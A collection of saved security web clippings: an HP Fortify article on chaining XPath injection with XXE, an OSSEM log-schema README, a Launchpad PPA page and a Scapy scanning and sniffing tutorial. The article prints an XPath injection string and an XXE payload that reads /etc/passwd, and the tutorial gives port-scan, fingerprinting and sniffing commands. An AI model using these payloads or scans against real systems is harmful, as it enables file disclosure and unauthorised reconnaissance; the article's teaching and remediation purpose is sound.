for a mobile application or an ajax-mashup website, two of the main
vulnerabilities you will see and hear about are XPath injection and XXE \(XML
External Entity\) processing. While each of these on their own are interesting
vulnerabilities, there is a unique situation that allows you to chain the two
together in order to read data off a target system.

  
XPath Injection

  
XML documents act as a data store or database for applications. You can store
large amounts of data in a hierarchical structure which can then be queried by
the application the same way you would query a database. This querying
protocol for XML is called XPath. Just like SQL queries can be vulnerable to
injection attacks, so can XPath queries. If user-supplied data is not
sanitized before being applied to the XPath query, an attacker could perform
an injection attack much like the following:

  
Query:

[code]

    $xquery = "//Customer[username/text()='" . $_POST[‘username’] . "' AND password/text()='" . $_POST("passwd") . "']";
[/code]

Attack Request:

[code]

    username=danny’ or 1=1 or ‘1’=’1&password=testing
[/code]

Resulting XPath Query:

[code]

    //Customer[(username/text()='danny’ or 1=1) or (‘1’=’1' AND password/text()='testing')]
[/code]

This injection would match and return results for all of the customers in the
XML document instead of data only belonging to ‘danny’. While this attack can
be very powerful, it also has its limitations. Unlike SQL, XPath has very
limited interactions with the OS and system files of the web server. There is
a function in XPath called “doc\(\)” that can read both local and remote files
as long as they are XML documents. This is great if you can find a XML file on
the server which contains sensitive information, but in most cases this won’t
be helpful in trying to access /etc/passwd, etc.

  
XXE Processing

  
XXE stands for XML External Entity Processing. The XML data structure allows
for elements called entities which are used as data variables to be used
within the XML body. An XXE attack is when the user can control the XML
structure that is sent along with the request to the server. If an attacker
can create their own entity then they can perform attacks such as sensitive
file disclosure, denial of server, port scanning and more.

  
Attacker controlled XML:

[code]

    <?xml version="1.0" encoding="ISO-8859-1"?>
        <!DOCTYPE foobar [
        <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foobar>&xxe;</foobar>
[/code]

This attack would load the file “/etc/passwd” from the server and return the
data within the <foobar> element to the user. The attacker could get creative
and load other files such as CMS config files for database credentials.

  
XPath assisted XXE

  
XPath Injection and XXE Processing are not commonly found together within the
same application. So what if you find XPath Injection within a search form on
a site which doesn’t contain sensitive information or authentication. Apart
from changing the results which are displayed in the search response, there
isn’t much to do. If only we had XXE to help us read files off the file
system.

  
Remember that XPath “doc\(\)” function that can only load XML documents?
Because “doc\(\)” can also load external XML documents, an attacker could
force the application to load an evil XML document hosted on their own server.
How does this help us read sensitive files on the target server? If the
attacker creates the evil XML document to contain XXE processing that loads
/etc/passwd. When this XML is loaded on the target server it will then load
the file corresponding to its own file system, not the attackers.

  
<img src='img/Temp2_9953.png' width='643' height='434' alt='XPath assisted XXE
(1).png' />

  
How to Protect Yourself

  
Because this attack is chaining two vulnerabilities together, it is important
that both are addressed in order to mitigate the risk. XPath Injection is
similar to other injection vulnerabilities in that the best approach to
remediation is by implementing thorough white list validation and input
sanitization on any user supplied data; in this case, anything going into the
XPath query. Theoretically, if the user supplied input is being validated
before building the XPath query, then the attacker would not be able to inject
the “doc\(\)” function to load the malicious XML file; however, it would be
best practice to disable the “doc\(\)” function completely if it is not
required by the application. If that is not a viable option, then the next
step would be to disallow any remote calls by the “doc\(\)” function only
allowing local XML files to be loaded.

  
Here at HP Fortify on Demand, we are working to detect this issue for all of
our customers' sites and provide them detailed remediation steps.

  
Reach out to us with any questions

.

.

.

.

  

# Cyb3rWard0g/OSSEM

**Created:**| _3/2/2019 6:39:51 PM_  
---|---  
**Updated:**| _3/2/2019 6:39:51 PM_  
**Author:**| _wishi_  
**Tags:**| _log-management threat-hunting_  
  

  

# OSSEM

Open Source Security Events Metadata \(OSSEM\)

<img src='img/Temp2_1737.png' width='300' height='255' />

# Goals

  * Define and share a common information model in order to improve the data standardization and transformation of security event logs
  * Allow security analyts to query and analyze several data sources at once following a consistent event field naming convention
  * Enhance and expedite the integration of third party tools \(i.e. SIGMA rules\) by utilizing standard event field names
  * Define and share data structures and relationships identified in security events logs
  * Facilitate the creation of data analytics in order to validate the detection of adversary techniques
  * Provide detailed information about several security event logs to the community.
  * Learn more about security event logs \(Windows, Linux & MacOS\)
  * Have fun and think more about the data structure in your SIEM when it comes down to detection\!\!

# Project Structure

There are four main folders:

  * **Common Information Model \(CIM\)**: 
    * Facilitates the normalization of data sets by providing a standard way to parse security event logs
    * It is organized by specific entities associated with event logs and defined in more details by Data Dictionaries
    * The definitions of each entity and its respective field names are mostly general descriptions that could help and expedite event logs parsing procedures.
  * **Data Dictionaries**: 
    * Contains specific information about several security event logs organized by operating system and their respective data sets
    * Each dictionary describes a single event log and its corresponding event field names
    * The difference between the Common Information Model folder and the data dictionaries is that in the CIM the field definitions are more general whereas in a data dictionary, each field name definition is unique to the specific event log.
  * **Detection Data Model**: 
    * Focuses on defining the required data in form of data objects and the relationships among each other needed to facilitate the creation of data analytics and validate the detection of adversary techniques
    * This is inspired by the awesome work of MITRE with their project CAR Analytics
    * The information needed for each data object is pulled from the entities defined in the Common Information Model
  * **ATTACK Data Sources**: 
    * Focuses on the documentation of data sources suggested or associated with techniques defined in the Enterprise Matrix
    * In addition, here is where data sources will be mapped with specific data objects defined in the Detection Data Model part of the project with the main goal of creating a link between techniques, data sources and data anlytics

# Current Status: Alpha

The project is currently in an alpha stage, which means that the content is
still changing. We welcome any feedback and suggestions to improve the
project.

# Projects Using OSSEM

  * HELK currently updating its pipeline configs

# Resources

  * Ready to hunt? First, Show me your data\!
  * What's new in Windows 10, versions 1507 and 1511
  * Download Security Audit Events for Windows \(Spreadsheet\)
  * Advanced Security Audit Policy Settings
  * Monitoring Active Directory for Signs of Compromise
  * Audit Policy Recommendations
  * Use Windows Event Forwarding to help with intrusion detection
  * Minimum recommended minimum audit policy
  * Windows ITPro Docs - Threat Protection

# Author

  * Roberto Rodriguez @Cyb3rWard0g

# Contributors

  * Jose Luis Rodriguez @Cyb3rPandaH
  * Jared Atkinson @jaredcatkinson

# Contributing

If you love to work with data and would like to learn more about logs, there
are a several ways that you could contribute to this project. You can check
the To-do list and let us know what is it that you would love to help with. I
also would love get some feedback on the following:

  * How feasible is it for your org to switch to the suggested data schema?
  * What do you think will need to happen for your org to start considering this standard?
  * What makes sense and what doesnt from a data naming convention perspective?
  * What data sources do you think the project is missing to cover most of the basics from a security event logs perspective?
  * How easy is it for your or your team to build on the top of this standard schema? \(Does the current schema help?\)
  * Is this helpful?

Thank you very much in advance :\)

# To-Do

  * Define Common Information Model Rules to parse event logs based on the entities defined
  * Define ATTCK data sources \(pending definitions\)
  * Create Dictionary for Sysmon WMI logs
  * Update Data Objects \(Second round\)
  * Update and create object relationships \(Updating STIX definitions\)
  * Create Dictionaries for logon\_logoff
  * Create Dictionaries for object\_access
  * Create Dictionaries for policy\_change
  * Create Dictionaries for system
  * Create Dictionaries for logon\_logoff
  * Create Dictionaries for logon\_logoff
  * Create Dictionaries for OSquery Tables
  * Create Dictionaries for network logs \(Bro,Suricata\)

  

# Peter Van Eeckhoutte´s Blog :: \[Knowledge is not an object, it´s a flow\]
:: Exploit writing tutorial part 1 : Stack Based Overflows

**Created:**| _12/28/2009 10:03:34 PM_  
---|---  
**Updated:**| _3/19/2010 12:15:44 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials_  
  
<img src='img/Temp2_6214' />

# Launchpad PPA for fucking Reaktek WiFi

**Created:**| _10/18/2010 9:19:45 PM_  
---|---  
**Updated:**| _10/23/2010 8:52:03 AM_  
**Author:**| __  
**Tags:**| _hardware Linux Lab-Setup_  
  

# Matt Price

  1. Matt Price
  2. Matt Price

## PPA description

A small, probably temporary repository for packages I need that no one else
has built yet\!

\

## Adding this PPA to your system

You can update your system with unsupported packages from this untrusted PPA
by adding **ppa:matt-price/mattprice** to your system's Software Sources.
\(Read about installing\)

Technical details about this PPA

This PPA can be added to your system manually by copying the lines below and
adding them to your system's software sources.

[code]

    deb http://ppa.launchpad.net/matt-price/mattprice/ubuntulucid main 
    deb-src http://ppa.launchpad.net/matt-price/mattprice/ubuntulucid main 
    
[/code]

Signing key:

    `1024R/25D11594` \(What is this?\)
Fingerprint:

    A8734DF45767133DF1BE021481A3D47225D11594

# scapy | research | sprawl
**Created:**| _4/25/2014 4:30:20 PM_  
---|---  
**Updated:**| _4/25/2014 4:30:20 PM_  
**Author:**| __  
**Tags:**| _security tools scan-monkey port_  
  

# Port Scanning

## SYN Scan

Classic SYN Scan can be initialized by executing the following command from
scapy's prompt:

[code]

    >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))
    
[/code]

The above will send a single SYN packet to google's port 80 and will quit
after receving a single response:

[code]

    Begin emission:
    .Finished to send 1 packets.
    *
    Received 2 packets, got 1 answers, remaining 0 packets
    <IP  version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
    proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=* |
    <TCP  sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
    flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
    <Padding  load='V\xf7' |>>>
    </file>
    
[/code]

From the above output, we can see Google returned "SA" or SYN-ACK flags
indicating an open port.

Use either notations to scan ports 400 through 443 on the system:

[code]

    >>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))
    
[/code]

[code]

    >>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))
    
[/code]

In order to quickly review responses simply request summary of collected
packets:

[code]

    >>> ans,unans = _
    >>> ans.summary()
    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding
    
[/code]

The above will display stimulus/response pairs for answered probes. We can
display only information we are interested in by using a simple loop:

[code]

    >>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") )
    440      RA
    441      RA
    442      RA
    https    SA
    
[/code]

Even better, a table can be built using _make\_table_ function to display
information about multiple targets:

[code]

    >>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
    Begin emission:
    .......*.**.......Finished to send 9 packets.
    **.*.*..*..................
    Received 362 packets, got 8 answers, remaining 1 packets
    >>> ans.make_table(
    ...    lambda(s,r): (s.dst, s.dport,
    ...    r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
        66.35.250.150                192.168.1.1 216.109.112.135 
    22  66.35.250.150 - dest-unreach RA          -               
    80  SA                           RA          SA              
    443 SA                           SA          SA
    
[/code]

The above example will even print ICMP error type if ICMP packet was received
as a response instead of expected TCP.

For larger scans, we could be interested in displaying only certain responses.
The example below will only display packets with "SA" flag set:

[code]

    >>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") ====== "SA")
    0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA
    
[/code]

In case we want to do some expert analysis of responses, we can use the
following command to indicate which ports are open:

[code]

    >>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") ====== "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open"))
    https is open
    
[/code]

Again, for larger scans we can build a table of open ports:

[code]

    >>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r): 
    ...             (s.dst, s.dport, "X"))
        66.35.250.150 192.168.1.1 216.109.112.135 
    80  X             -           X               
    443 X             X           X
    
[/code]

If all of the above methods were not enough, Scapy includes report\_ports\(\)
function which not only automates the SYN scan, but also produces a LaTeX
output with collected results:

[code]

    >>> report_ports("192.168.1.1",(440,443))
    Begin emission:
    ...*.**Finished to send 4 packets.
    *
    Received 8 packets, got 4 answers, remaining 0 packets
    '\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
     & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed & 
    TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'
    
[/code]

## Other TCP Scans

Using scapy's powerful packet crafting facilities we can quick replicate other
classic TCP Scans. For example, the following string will be sent to simulate
an ACK Scan.

[code]

    >>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))
    
[/code]

We can find unfiltered ports in answered packets:

[code]

    >>> for s,r in ans:
    ...     if s[TCP].dport ====== r[TCP].sport:
    ...        print str(s[TCP].dport) + " is unfiltered"
    
[/code]

Similarly, filtered ports can be found with unanswered packets:

[code]

    >>> for s in unans:     
    ...     print str(s[TCP].dport) + " is filtered"
    
[/code]

We can further explore responses using Window Scan approach:

[code]

    >>> for s,r in ans:
    ...     if r[TCP]:
    ...         print str(s[TCP].dport) + " is open"
    ...     else:
    ...         print str(s[TCP].dport) + " is closed"
    ... 
    80 is open
    666 is closed
    
[/code]

At last Xmas Scan can be launced using the following command:

[code]

    >>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )
    
[/code]

Checking RST responses will reveal closed ports on the target.

## UDP Scan

It is trivial to construct UDP Scan:

[code]

    >>> ans,unans=sr(IP(dst="192.168.1.1")/UDP(dport=[443,666]))
    
[/code]

## IP Scan

A lower level IP Scan can be used to enumerate supported protocols:

[code]

    >>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry======2)
    
[/code]

# Host Discovery

## ARP Ping

The fastest way to discover hosts on a local ethernet network is to use ARP
Ping method: >>>
ans,unans=srp\(Ether\(dst="ff:ff:ff:ff:ff:ff"\)/ARP\(pdst="192.168.1.0/24"\),timeout=2\)

Answers can be reviewed with the following command:

[code]

    >>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
    
[/code]

Scapy also includes a built-in arping\(\) function which performs similar to
the above two commands:

[code]

    >>> arping("192.168.1.*")
    
[/code]

## ICMP Ping

Classical ICMP Ping can be emulated using the following command: >>>
ans,unans=sr\(IP\(dst="192.168.1.1-254"\)/ICMP\(\)\)

Information on live hosts can be collected with the following request: >>>
ans.summary\(lambda \(s,r\): r.sprintf\("%IP.src% is alive"\) \)

## TCP Ping

In cases where ICMP echo requests are blocked, we can still use various TCP
Pings such as TCP SYN Ping below:

[code]

    >>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )
    
[/code]

Any response to our probes will indicate a live host. We can collect results
with the following command:

[code]

    >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
    
[/code]

## UDP Ping

If all else fails there is always UDP Ping which will produce _ICMP Port
unreachable_ errors from live hosts. Here you can pick any port which is most
likely to be closed, such as port 0:

[code]

    >>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )
    
[/code]

Once again, results can be collected with this command:

[code]

    >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
    
[/code]

# OS Fingerprinting

Scapy can be used to analyze ISN \(Initial Sequence Number\) increments to
possibly discover vulnerable systems. First we will collect target responses
by sending a number of SYN probes in a loop:

[code]

    >>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))
    
[/code]

Once we obtain a reasonable number of responses we can start analyzing
collected data with something like this:

[code]

    >>> temp = 0
    >>> for s,r in ans:
    ...    temp = r[TCP].seq - temp
    ...    print str(r[TCP].seq) + "\t+" + str(temp)
    ... 
    4278709328      +4275758673
    4279655607      +3896934
    4280642461      +4276745527
    4281648240      +4902713
    4282645099      +4277742386
    4283643696      +5901310
    
[/code]

## nmap\_fp

If you have Nmap installed you can use it's active os fingerprinting database
with Scapy. First make sure that version 1 of signature database is located in
the path specified by:

[code]

    >>> conf.nmap_base
    
[/code]

Scapy includes a built-in _nmap\_fp\(\)_ function which implements same probes
as in Nmap's OS Detection engine:

[code]

    >>> nmap_fp("192.168.1.1",oport=443,cport=1)
    Begin emission:
    .****..**Finished to send 8 packets.
    *................................................
    Received 58 packets, got 7 answers, remaining 1 packets
    (1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch', 
    'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
    w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])
    
[/code]

If you have p0f installed on your system, you can use it to guess OS name and
version right from Scapy \(only SYN database is used\). First make sure that
p0f database exists in the path specified by:

[code]

    >>> conf.p0f_base
    
[/code]

For example to guess OS from a single captured packet:

[code]

    >>> sniff(prn=prnp0f)
    192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
      -> 74.125.19.104:www (distance 0)
    <Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>
    
[/code]

## queso

If you are still not satisfied with all the different OS Detection mechanisms.
Scapy includes _queso\(\)_ function to query os signature database from queso.
Once again make sure that database exists at the location in:

[code]

    >>> conf.queso_base
    
[/code]

And launch active fingerprinting scan with the following:

[code]

    >>> queso("192.168.1.124",dport=139)
    
[/code]

_Note:_ For some reason I always got a blank response \(bug?\)

# Sniffer

Scapy includes powerful facilities for traffic capture and analysis.

## Traffic Capture

We can use embedded _sniff\(\)_ function to capture all traffic:

[code]

    >>> pkts = sniff(count=1)
    >>> pkts.summary()
    Ether / IP / TCP 192.168.1.100:52665 > 64.233.167.99:www S
    
[/code]

We can add filtering to capture only packets that are interesting to us. Use
standard tcpdump/libpcap syntax:

[code]

    >>> pkts = sniff(count=1,filter="tcp and host 64.233.167.99 and port 80")
    
[/code]

## Traffic Analysis

To display a tcpdump like session data:

[code]

    >>> pkts = sniff(count=5,filter="host 64.233.167.99",prn=lambda x:x.summary())
    Ether / IP / TCP 192.168.1.100:33168 > 64.233.167.99:www S
    Ether / IP / TCP 64.233.167.99:www > 192.168.1.100:33168 SA
    Ether / IP / TCP 192.168.1.100:33168 > 64.233.167.99:www A
    Ether / IP / TCP 192.168.1.100:33168 > 64.233.167.99:www PA / Raw
    Ether / IP / TCP 64.233.167.99:www > 192.168.1.100:33168 A
    
[/code]

For even more control over displayed information we can use _sprintf\(\)_
function:

[code]

    >>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
    192.168.1.100 -> 64.233.167.99
    
    64.233.167.99 -> 192.168.1.100
    
    192.168.1.100 -> 64.233.167.99
    
    192.168.1.100 -> 64.233.167.99
    'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0 
    (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
    Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
    text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
    en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
    ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
    keep-alive\r\nCache-Control: max-age=0\r\n\r\n'
    
[/code]

\*Note: \* Use \{\[LAYER\]: \[string\]\} format to test for some \[LAYER\]
existence before performing printing underlying data.

## Traffic Visualization

Scapy offers a number of visualization options. To view a graph of
communicating hosts based on previous traffic capture:

[code]

    >>> pkts.conversations()
    
[/code]

# Importing and Exporting Data

It is often useful to save capture packets to pcap file for use at later time
or with different applications:

[code]

    >>> wrpcap("temp.cap",pkts)
    
[/code]

To restore previously saved pcap file:

[code]

    >>> pkts = rdpcap("temp.cap")
    
[/code]

[code]

    >>> pkts = sniff(offline="temp.cap")
    
[/code]

## hexdump

Scapy allows you to export recorded packets in various hex formats.

Use _hexdump\(\)_ function to display one or more packets using classic
hexdump format:

[code]

    >>> hexdump(pkt)
    0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
    0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
    0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
    0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
    0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
    0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
    0060   36 37                                              67
    
[/code]

Hexdump above can be reimported back into Scapy using _import\_hexcap\(\)_
function:

[code]

    >>> pkt_hex = Ether(import_hexcap())
    0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
    0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
    0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
    0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
    0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
    0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
    0060   36 37                                              67
    >>> pkt_hex
    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L 
    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 
    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0 
    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
    \x1f !"#$%&\'()*+,-./01234567' |>>>>
    
[/code]

## hex string

You can also convert entire packet into a hex string using _/str\(\)_
function:

[code]

    >>> pkts = sniff(count = 1)
    >>> pkt = pkts[0]
    >>> pkt
    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L 
    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 
    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0 
    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
    \x1f !"#$%&\'()*+,-./01234567' |>>>>
    >>> pkt_str = str(pkt)
    >>> pkt_str
    '\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8
    \x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00
    \x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
    \x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
    
[/code]

We can reimport the produced hex string by selecting appropriate starting
layer \(e.g. Ether\(\)\).

[code]

    >>> new_pkt = Ether(pkt_str)
    >>> new_pkt
    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L 
    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 
    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0 
    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
    \x1f !"#$%&\'()*+,-./01234567' |>>>>
    
[/code]

## Base64

Scapy can export base64 encoded python data structure representing a packet
using _export\_object\(\)_ function:

[code]

    >>> pkt
    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L 
    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 
    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0 
    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 
    !"#$%&\'()*+,-./01234567' |>>>>
    >>> export_object(pkt)
    eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
    OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
    bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
    WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
    ...
    
[/code]

Output above can be reimported back into Skype using _import\_object\(\)_
function:

[code]

    >>> new_pkt = import_object()
    eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
    OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
    bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
    WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
    ...
    >>> new_pkt
    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L 
    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 
    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0 
    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 
    !"#$%&\'()*+,-./01234567' |>>>>
    
[/code]

## Session

At last Scapy is capable of saving all session variables using
_save\_session\(\)_ function:

[code]

    >>> dir()
    ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
    >>> save_session("session.scapy")
    
[/code]

Next time you start Scapy you can load previous saved session using
_load\_session\(\)_ command:

[code]

    >>> dir()
    ['__builtins__', 'conf']
    >>> load_session("session.scapy")
    >>> dir()
    ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
    
[/code]

# Wireless

Scapy is particularly handy when dealing with wireless networks. It can not
only sniff and decode packets but also inject arbitrary packets. For example,
the following command will similar to will display information similar to most
wireless sniffers:

[code]

    >>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t
    %PrismHeader.channel%\tDot11Beacon.cap%}"))
    
[/code]

The above command will produce output similar to the one below:

[code]

    00:00:00:01:02:03 netgear      6L   ESS+privacy+PBCC
    11:22:33:44:55:66 wireless_100 6L   short-slot+ESS+privacy
    44:55:66:00:11:22 linksys      6L   short-slot+ESS+privacy
    12:34:56:78:90:12 NETGEAR      6L   short-slot+ESS+privacy+short-preamble
    ...
    
[/code]

The above example was expanded into a complete wireless scanning project
called AiroScapy

# Traceroute

Standard ICMP Traceroute can be emulated using the following command:

[code]

    >>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/ICMP())
    
[/code]

Once, we receive all probe requests we can obtain results:

[code]

    >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%"))
    192.168.1.1
    68.88.88.88
    68.60.60.60
    4.79.43.134
    4.79.43.133
    4.68.18.62
    4.68.123.6
    4.2.2.1
    4.2.2.1
    
[/code]

Similarly, we can use TCP SYN traceroute to obtain similar results:

[code]

    ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))
    
[/code]

And again results would be:

[code]

    >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
    192.168.1.1     time-exceeded
    68.86.90.162    time-exceeded
    4.79.43.134     time-exceeded
    4.79.43.133     time-exceeded
    4.68.18.126     time-exceeded
    4.68.123.38     time-exceeded
    4.2.2.1         SA
    
[/code]

Scapy includes a built-in _traceroute\(\)_ function to perform same
functionality as above. Here is an example of TCP SYN traceroute:

[code]

    >>> traceroute("4.2.2.1")
    Begin emission:
    ***********************Finished to send 30 packets.
    ****
    Received 27 packets, got 27 answers, remaining 3 packets
       4.2.2.1:tcp80      
    1  192.168.1.1     11 
    5  4.79.43.134     11 
    6  4.79.43.133     11 
